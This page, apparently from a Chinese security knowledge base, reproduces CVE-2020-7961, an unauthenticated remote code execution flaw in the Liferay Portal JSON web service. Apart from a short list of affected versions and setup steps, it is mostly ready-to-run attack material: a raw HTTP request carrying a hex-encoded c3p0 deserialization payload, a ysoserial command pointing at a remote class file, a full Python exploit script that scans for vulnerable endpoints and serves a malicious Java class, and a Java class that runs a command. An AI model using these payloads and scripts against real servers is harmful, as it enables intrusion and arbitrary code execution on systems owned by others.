menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-7961)Liferay Portal Json Web Service 反序列化漏洞 chevron_right (CVE-2020-7961)Liferay Portal Json Web Service 反序列化漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-7961)Liferay Portal Json Web Service 反序列化漏洞.md
    13.28 KB / 2021-07-15 19:56:18
        (CVE-2020-7961)Liferay Portal Json Web Service 反序列化漏洞
    =============================================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    Liferay Portal 6.1.XLiferay Portal 6.2.XLiferay Portal 7.0.XLiferay Portal 7.1.XLiferay Portal 7.2.X
    
    三、复现过程
    ------------
    
    ### 环境搭建
    
    https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1
    下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可![1.png](./resource/(CVE-2020-7961)LiferayPortalJsonWebService反序列化漏洞/media/rId25.png)![2.png](./resource/(CVE-2020-7961)LiferayPortalJsonWebService反序列化漏洞/media/rId26.png)
    
    ### 漏洞复现
    
    **poc**
    
        POST /api/jsonws/invoke HTTP/1.1
        Host: www.0-sec.org:8080
        Content-Length: 2335
        Content-Type: application/x-www-form-urlencoded
        Connection: close
    
        cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}
    
    本地起http server 挂载Exploit.class字节码文件![3.png](./resource/(CVE-2020-7961)LiferayPortalJsonWebService反序列化漏洞/media/rId28.png)ysoserial c3p0生成:
    
        java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser
    
    然后用以下脚本转为16进制:
    
        import java.io.*;
    
        public class poc {
            public String encodeHex(InputStream fi) throws IOException {
                int size;
                String hexStr="";
                while ((size=fi.read())!=-1){
                    String byteChar = Integer.toHexString(size);
                    if(byteChar.length()<2) {
                        byteChar = "0" + byteChar;
                    }
                   hexStr = hexStr + byteChar;
                }
                return hexStr;
            }
            public static void main(String[] args) throws IOException {
            FileInputStream fi  = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
            poc obj = new poc();
            String pocStr = obj.encodeHex(fi);
            System.out.println(pocStr);
            }
        }
    
    或者用mashalsec直接生成16进制paylaod:![4.png](./resource/(CVE-2020-7961)LiferayPortalJsonWebService反序列化漏洞/media/rId29.png)![1063309202004040921217371034019990.gif](./resource/(CVE-2020-7961)LiferayPortalJsonWebService反序列化漏洞/media/rId30.gif)
    
    ### poc
    
    **poc.py**
    
        '''
            Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 
            POC author: mzero
            Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
            Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
            Usage: python poc.py -h
            
            Gadget used: C3P0WrapperConnPool 
            
            Installation:
            pip install requests
            pip install bs4
            
            Create file LifExp.java with example content:
            public class LifExp {
                static {
                try {
                    String[] cmd = {"cmd.exe", "/c", "calc.exe"};
                    java.lang.Runtime.getRuntime().exec(cmd).waitFor();
                } catch ( Exception e ) {
                    e.printStackTrace();
                    }
                }
            }
            javac LifExp.java
            Place poc.py and LifExp.class in the same directory.
        '''
        import requests
        import threading
        import time
        import sys
        import argparse
        import binascii
        from bs4 import BeautifulSoup
        from datetime import datetime
        from http.server import BaseHTTPRequestHandler,HTTPServer
        #import http.server
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
        # SET proxy
        PROXIES = {}
        #PROXIES = {"http":"http://127.0.0.1:9090"}
    
        class HttpHandler(BaseHTTPRequestHandler):
            
            def do_GET(self):
                self.send_response(200)
                self.send_header('Content-type','application/java-vm')
                self.end_headers()
                f = open("LifExp.class", "rb")
                self.wfile.write(f.read())
                f.close()
                return
    
        def log(level, msg):
            prefix = "[#] "
            if level == "error":
                prefix = "[!] "
            d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
            temp = "{} [{}] {}".format(prefix, d, msg)
            print(temp)
    
        def find_href(body):
            soup = BeautifulSoup(body, "html.parser")
            return soup.find_all('a', href=True)
            
        def find_class(body, clazz):
            soup = BeautifulSoup(body, "html.parser")
            return soup.findAll("div", {"class": clazz})
    
        def find_id(body):
            soup = BeautifulSoup(body, "html.parser")
            return soup.findAll("form", {"id": "execute"})
    
        def get_param(div):
            param = ""
            param_type = ""
            p_name = div.find("span", {"class": "lfr-api-param-name"})
            p_type = div.find("span", {"class": "lfr-api-param-type"})
            if p_name:
                param = p_name.text.strip()
            if p_type:
                param_type = p_type.text.strip()
                
            return (param, param_type)
    
        def _do_get(url):
            resp = requests.get(url, proxies=PROXIES, verify=False)
            return resp
            
        def do_get(host, path):
            url = "{}/{}".format(host, path)
            resp = _do_get(url)
            return resp
            
        def _do_post(url, data):
            resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
            return resp
            
        def do_post(host, path, data):
            url = "{}/{}".format(host, path)
            resp = _do_post(url, data)
            return resp
            
        def find_endpoints(host, path):
            result = []
            resp = do_get(host, path)
            links = find_href(resp.text)
            for link in links:
                if "java.lang.Object" in link['href']:
                    result.append(link['href'])
            return result
    
        def find_parameters(body):
            div_params = find_class(body, "lfr-api-param")
            params = []
            for d in div_params:
                params.append(get_param(d))
            return params
    
        def find_url(body):
            form = find_id(body)[0]
            return form['action']
    
        def set_params(params, payload, payload_type):
            result = {}
            for param in params:
                p_name, p_type = param
                if p_type == "java.lang.Object":
                    result[p_name+":"+payload_type] = payload
                
                result[p_name] = "1"
            return result
    
        def pad(data, length):
            return data+"\x20"*(length-len(data))
            
        def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
            p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
            resp = do_post(host, api_url, p)
    
        banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""
    
        def main():
            print(banner)
            parser = argparse.ArgumentParser()
            parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
            parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws")
            parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
            parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")
    
            args = parser.parse_args()
            bind_port  = int(args.bind_port)
            bind_ip = args.bind_ip
            target_ip = args.target
            api_url = args.api_url
            endpoints = []
            vuln_endpoints = []
            
            PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
            PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
            PAYLOAD_SUFIX = """740003466f6f;"}"""
    
            INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)
    
            INTERNALB = INTERNAL.encode('utf-8')
            
            INTERNALHEX = binascii.hexlify(INTERNALB)
    
            PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX
            
            
            try:
                log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
                endpoints = find_endpoints(target_ip, api_url)
                if not endpoints:
                    log("info", "Vulnerable endpoints not found!")
                    sys.exit(1)
            except Exception as ex:
                log("error", "An error occured:")
                print(ex)
                sys.exit(1)
            
            try:
                server = HTTPServer((bind_ip, bind_port), HttpHandler)
                log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
                th = threading.Thread(target=server.serve_forever)
                th.daemon=True
                th.start()
                
                for e in endpoints:
                    resp = do_get(target_ip, e)
                    params = find_parameters(resp.text)
                    url_temp = find_url(resp.text)
                    vuln_endpoints.append((url_temp, params))
                
                for endpoint in vuln_endpoints:
                    log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
                    op = raw_input("Do you want to test it? Y/N: ")
                    if op.lower() == "y":
                        exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
                        
                log("info", "CTRL+C to exit :)")
                while True:
                    time.sleep(1)
            except KeyboardInterrupt:
                log("info", "Shutting down...")
                server.socket.close()
            except Exception as ex:
                log("error", "An error occured:")
                print(ex)
                sys.exit(1)
            
        if __name__ == "__main__":
            main()
    
    **LifExp.java**
    
        public class LifExp {
    
        static {
        try {
        String[] cmd = {"cmd.exe", "/c", "calc.exe"};
        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
        e.printStackTrace();
        }
        }
        }
    
    参考链接
    --------
    
    > https://www.cnblogs.com/tr1ple/p/12608731.html\#NmdGyEkb
    
    
    links
    file_download